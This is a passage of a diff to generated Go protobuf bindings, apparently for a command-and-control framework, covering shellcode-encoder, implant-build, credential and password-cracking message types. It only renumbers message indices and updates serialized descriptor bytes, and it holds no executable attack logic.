ms.StoreMessageInfo(mi) } @@ -6977,7 +7223,7 @@ func (x *ShellcodeEncode) String() string { func (*ShellcodeEncode) ProtoMessage() {} func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[81] + mi := &file_clientpb_client_proto_msgTypes[84] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6990,7 +7236,7 @@ func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncode.ProtoReflect.Descriptor instead. func (*ShellcodeEncode) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{81} + return file_clientpb_client_proto_rawDescGZIP(), []int{84} } func (x *ShellcodeEncode) GetData() []byte { @@ -7018,7 +7264,7 @@ type ShellcodeEncoderMap struct { func (x *ShellcodeEncoderMap) Reset() { *x = ShellcodeEncoderMap{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[82] + mi := &file_clientpb_client_proto_msgTypes[85] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7031,7 +7277,7 @@ func (x *ShellcodeEncoderMap) String() string { func (*ShellcodeEncoderMap) ProtoMessage() {} func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[82] + mi := &file_clientpb_client_proto_msgTypes[85] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7044,7 +7290,7 @@ func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncoderMap.ProtoReflect.Descriptor instead. func (*ShellcodeEncoderMap) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{82} + return file_clientpb_client_proto_rawDescGZIP(), []int{85} } func (x *ShellcodeEncoderMap) GetEncoders() map[string]ShellcodeEncoder { @@ -7066,7 +7312,7 @@ type ExternalGenerateReq struct { func (x *ExternalGenerateReq) Reset() { *x = ExternalGenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[83] + mi := &file_clientpb_client_proto_msgTypes[86] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7079,7 +7325,7 @@ func (x *ExternalGenerateReq) String() string { func (*ExternalGenerateReq) ProtoMessage() {} func (x *ExternalGenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[83] + mi := &file_clientpb_client_proto_msgTypes[86] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7092,7 +7338,7 @@ func (x *ExternalGenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ExternalGenerateReq.ProtoReflect.Descriptor instead. func (*ExternalGenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{83} + return file_clientpb_client_proto_rawDescGZIP(), []int{86} } func (x *ExternalGenerateReq) GetConfig() *ImplantConfig { @@ -7120,7 +7366,7 @@ type Builders struct { func (x *Builders) Reset() { *x = Builders{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[84] + mi := &file_clientpb_client_proto_msgTypes[87] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7133,7 +7379,7 @@ func (x *Builders) String() string { func (*Builders) ProtoMessage() {} func (x *Builders) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[84] + mi := &file_clientpb_client_proto_msgTypes[87] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7146,7 +7392,7 @@ func (x *Builders) ProtoReflect() protoreflect.Message { // Deprecated: Use Builders.ProtoReflect.Descriptor instead. func (*Builders) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{84} + return file_clientpb_client_proto_rawDescGZIP(), []int{87} } func (x *Builders) GetBuilders() []*Builder { @@ -7173,7 +7419,7 @@ type Builder struct { func (x *Builder) Reset() { *x = Builder{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[85] + mi := &file_clientpb_client_proto_msgTypes[88] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7186,7 +7432,7 @@ func (x *Builder) String() string { func (*Builder) ProtoMessage() {} func (x *Builder) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[85] + mi := &file_clientpb_client_proto_msgTypes[88] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7199,7 +7445,7 @@ func (x *Builder) ProtoReflect() protoreflect.Message { // Deprecated: Use Builder.ProtoReflect.Descriptor instead. func (*Builder) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{85} + return file_clientpb_client_proto_rawDescGZIP(), []int{88} } func (x *Builder) GetName() string { @@ -7269,7 +7515,7 @@ type Credential struct { func (x *Credential) Reset() { *x = Credential{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[86] + mi := &file_clientpb_client_proto_msgTypes[89] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7282,7 +7528,7 @@ func (x *Credential) String() string { func (*Credential) ProtoMessage() {} func (x *Credential) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[86] + mi := &file_clientpb_client_proto_msgTypes[89] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7295,7 +7541,7 @@ func (x *Credential) ProtoReflect() protoreflect.Message { // Deprecated: Use Credential.ProtoReflect.Descriptor instead. func (*Credential) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{86} + return file_clientpb_client_proto_rawDescGZIP(), []int{89} } func (x *Credential) GetID() string { @@ -7365,7 +7611,7 @@ type Credentials struct { func (x *Credentials) Reset() { *x = Credentials{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[87] + mi := &file_clientpb_client_proto_msgTypes[90] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7378,7 +7624,7 @@ func (x *Credentials) String() string { func (*Credentials) ProtoMessage() {} func (x *Credentials) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[87] + mi := &file_clientpb_client_proto_msgTypes[90] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7391,7 +7637,7 @@ func (x *Credentials) ProtoReflect() protoreflect.Message { // Deprecated: Use Credentials.ProtoReflect.Descriptor instead. func (*Credentials) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{87} + return file_clientpb_client_proto_rawDescGZIP(), []int{90} } func (x *Credentials) GetCredentials() []*Credential { @@ -7413,7 +7659,7 @@ type Crackstations struct { func (x *Crackstations) Reset() { *x = Crackstations{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[88] + mi := &file_clientpb_client_proto_msgTypes[91] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7426,7 +7672,7 @@ func (x *Crackstations) String() string { func (*Crackstations) ProtoMessage() {} func (x *Crackstations) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[88] + mi := &file_clientpb_client_proto_msgTypes[91] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7439,7 +7685,7 @@ func (x *Crackstations) ProtoReflect() protoreflect.Message { // Deprecated: Use Crackstations.ProtoReflect.Descriptor instead. func (*Crackstations) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{88} + return file_clientpb_client_proto_rawDescGZIP(), []int{91} } func (x *Crackstations) GetCrackstations() []*Crackstation { @@ -7465,7 +7711,7 @@ type CrackstationStatus struct { func (x *CrackstationStatus) Reset() { *x = CrackstationStatus{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[89] + mi := &file_clientpb_client_proto_msgTypes[92] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7478,7 +7724,7 @@ func (x *CrackstationStatus) String() string { func (*CrackstationStatus) ProtoMessage() {} func (x *CrackstationStatus) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[89] + mi := &file_clientpb_client_proto_msgTypes[92] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7491,7 +7737,7 @@ func (x *CrackstationStatus) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackstationStatus.ProtoReflect.Descriptor instead. func (*CrackstationStatus) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{89} + return file_clientpb_client_proto_rawDescGZIP(), []int{92} } func (x *CrackstationStatus) GetName() string { @@ -7548,7 +7794,7 @@ type CrackSyncStatus struct { func (x *CrackSyncStatus) Reset() { *x = CrackSyncStatus{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[90] + mi := &file_clientpb_client_proto_msgTypes[93] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7561,7 +7807,7 @@ func (x *CrackSyncStatus) String() string { func (*CrackSyncStatus) ProtoMessage() {} func (x *CrackSyncStatus) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[90] + mi := &file_clientpb_client_proto_msgTypes[93] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7574,7 +7820,7 @@ func (x *CrackSyncStatus) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackSyncStatus.ProtoReflect.Descriptor instead. func (*CrackSyncStatus) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{90} + return file_clientpb_client_proto_rawDescGZIP(), []int{93} } func (x *CrackSyncStatus) GetSpeed() float32 { @@ -7604,7 +7850,7 @@ type CrackBenchmark struct { func (x *CrackBenchmark) Reset() { *x = CrackBenchmark{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[91] + mi := &file_clientpb_client_proto_msgTypes[94] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7617,7 +7863,7 @@ func (x *CrackBenchmark) String() string { func (*CrackBenchmark) ProtoMessage() {} func (x *CrackBenchmark) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[91] + mi := &file_clientpb_client_proto_msgTypes[94] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7630,7 +7876,7 @@ func (x *CrackBenchmark) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackBenchmark.ProtoReflect.Descriptor instead. func (*CrackBenchmark) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{91} + return file_clientpb_client_proto_rawDescGZIP(), []int{94} } func (x *CrackBenchmark) GetName() string { @@ -7671,7 +7917,7 @@ type CrackTask struct { func (x *CrackTask) Reset() { *x = CrackTask{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[92] + mi := &file_clientpb_client_proto_msgTypes[95] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7684,7 +7930,7 @@ func (x *CrackTask) String() string { func (*CrackTask) ProtoMessage() {} func (x *CrackTask) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[92] + mi := &file_clientpb_client_proto_msgTypes[95] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7697,7 +7943,7 @@ func (x *CrackTask) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackTask.ProtoReflect.Descriptor instead. func (*CrackTask) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{92} + return file_clientpb_client_proto_rawDescGZIP(), []int{95} } func (x *CrackTask) GetID() string { @@ -7770,7 +8016,7 @@ type Crackstation struct { func (x *Crackstation) Reset() { *x = Crackstation{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[93] + mi := &file_clientpb_client_proto_msgTypes[96] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7783,7 +8029,7 @@ func (x *Crackstation) String() string { func (*Crackstation) ProtoMessage() {} func (x *Crackstation) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[93] + mi := &file_clientpb_client_proto_msgTypes[96] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7796,7 +8042,7 @@ func (x *Crackstation) ProtoReflect() protoreflect.Message { // Deprecated: Use Crackstation.ProtoReflect.Descriptor instead. func (*Crackstation) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{93} + return file_clientpb_client_proto_rawDescGZIP(), []int{96} } func (x *Crackstation) GetName() string { @@ -7896,7 +8142,7 @@ type CUDABackendInfo struct { func (x *CUDABackendInfo) Reset() { *x = CUDABackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[94] + mi := &file_clientpb_client_proto_msgTypes[97] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7909,7 +8155,7 @@ func (x *CUDABackendInfo) String() string { func (*CUDABackendInfo) ProtoMessage() {} func (x *CUDABackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[94] + mi := &file_clientpb_client_proto_msgTypes[97] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7922,7 +8168,7 @@ func (x *CUDABackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use CUDABackendInfo.ProtoReflect.Descriptor instead. func (*CUDABackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{94} + return file_clientpb_client_proto_rawDescGZIP(), []int{97} } func (x *CUDABackendInfo) GetType() string { @@ -8016,7 +8262,7 @@ type OpenCLBackendInfo struct { func (x *OpenCLBackendInfo) Reset() { *x = OpenCLBackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[95] + mi := &file_clientpb_client_proto_msgTypes[98] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8029,7 +8275,7 @@ func (x *OpenCLBackendInfo) String() string { func (*OpenCLBackendInfo) ProtoMessage() {} func (x *OpenCLBackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[95] + mi := &file_clientpb_client_proto_msgTypes[98] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8042,7 +8288,7 @@ func (x *OpenCLBackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use OpenCLBackendInfo.ProtoReflect.Descriptor instead. func (*OpenCLBackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{95} + return file_clientpb_client_proto_rawDescGZIP(), []int{98} } func (x *OpenCLBackendInfo) GetType() string { @@ -8142,7 +8388,7 @@ type MetalBackendInfo struct { func (x *MetalBackendInfo) Reset() { *x = MetalBackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[96] + mi := &file_clientpb_client_proto_msgTypes[99] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8155,7 +8401,7 @@ func (x *MetalBackendInfo) String() string { func (*MetalBackendInfo) ProtoMessage() {} func (x *MetalBackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[96] + mi := &file_clientpb_client_proto_msgTypes[99] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8168,7 +8414,7 @@ func (x *MetalBackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use MetalBackendInfo.ProtoReflect.Descriptor instead. func (*MetalBackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{96} + return file_clientpb_client_proto_rawDescGZIP(), []int{99} } func (x *MetalBackendInfo) GetType() string { @@ -8366,7 +8612,7 @@ type CrackCommand struct { func (x *CrackCommand) Reset() { *x = CrackCommand{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[97] + mi := &file_clientpb_client_proto_msgTypes[100] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8379,7 +8625,7 @@ func (x *CrackCommand) String() string { func (*CrackCommand) ProtoMessage() {} func (x *CrackCommand) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[97] + mi := &file_clientpb_client_proto_msgTypes[100] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8392,7 +8638,7 @@ func (x *CrackCommand) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackCommand.ProtoReflect.Descriptor instead. func (*CrackCommand) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{97} + return file_clientpb_client_proto_rawDescGZIP(), []int{100} } func (x *CrackCommand) GetAttackMode() CrackAttackMode { @@ -9123,7 +9369,7 @@ type CrackConfig struct { func (x *CrackConfig) Reset() { *x = CrackConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[98] + mi := &file_clientpb_client_proto_msgTypes[101] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9136,7 +9382,7 @@ func (x *CrackConfig) String() string { func (*CrackConfig) ProtoMessage() {} func (x *CrackConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[98] + mi := &file_clientpb_client_proto_msgTypes[101] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9149,7 +9395,7 @@ func (x *CrackConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackConfig.ProtoReflect.Descriptor instead. func (*CrackConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{98} + return file_clientpb_client_proto_rawDescGZIP(), []int{101} } func (x *CrackConfig) GetAutoFire() bool { @@ -9193,7 +9439,7 @@ type CrackFiles struct { func (x *CrackFiles) Reset() { *x = CrackFiles{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[99] + mi := &file_clientpb_client_proto_msgTypes[102] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9206,7 +9452,7 @@ func (x *CrackFiles) String() string { func (*CrackFiles) ProtoMessage() {} func (x *CrackFiles) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[99] + mi := &file_clientpb_client_proto_msgTypes[102] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9219,7 +9465,7 @@ func (x *CrackFiles) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFiles.ProtoReflect.Descriptor instead. func (*CrackFiles) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{99} + return file_clientpb_client_proto_rawDescGZIP(), []int{102} } func (x *CrackFiles) GetFiles() []*CrackFile { @@ -9264,7 +9510,7 @@ type CrackFile struct { func (x *CrackFile) Reset() { *x = CrackFile{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[100] + mi := &file_clientpb_client_proto_msgTypes[103] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9277,7 +9523,7 @@ func (x *CrackFile) String() string { func (*CrackFile) ProtoMessage() {} func (x *CrackFile) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[100] + mi := &file_clientpb_client_proto_msgTypes[103] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9290,7 +9536,7 @@ func (x *CrackFile) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFile.ProtoReflect.Descriptor instead. func (*CrackFile) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{100} + return file_clientpb_client_proto_rawDescGZIP(), []int{103} } func (x *CrackFile) GetID() string { @@ -9384,7 +9630,7 @@ type CrackFileChunk struct { func (x *CrackFileChunk) Reset() { *x = CrackFileChunk{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[101] + mi := &file_clientpb_client_proto_msgTypes[104] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9397,7 +9643,7 @@ func (x *CrackFileChunk) String() string { func (*CrackFileChunk) ProtoMessage() {} func (x *CrackFileChunk) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[101] + mi := &file_clientpb_client_proto_msgTypes[104] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9410,7 +9656,7 @@ func (x *CrackFileChunk) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFileChunk.ProtoReflect.Descriptor instead. func (*CrackFileChunk) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{101} + return file_clientpb_client_proto_rawDescGZIP(), []int{104} } func (x *CrackFileChunk) GetID() string { @@ -9463,1486 +9709,1522 @@ var file_clientpb_client_proto_rawDesc = []byte{ 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x93, 0x05, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, - 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x08, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x61, - 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x54, 0x72, - 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, - 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, - 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, - 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, - 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4c, - 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a, - 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x11, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, - 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x49, - 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, - 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x13, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, - 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, - 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, - 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x74, 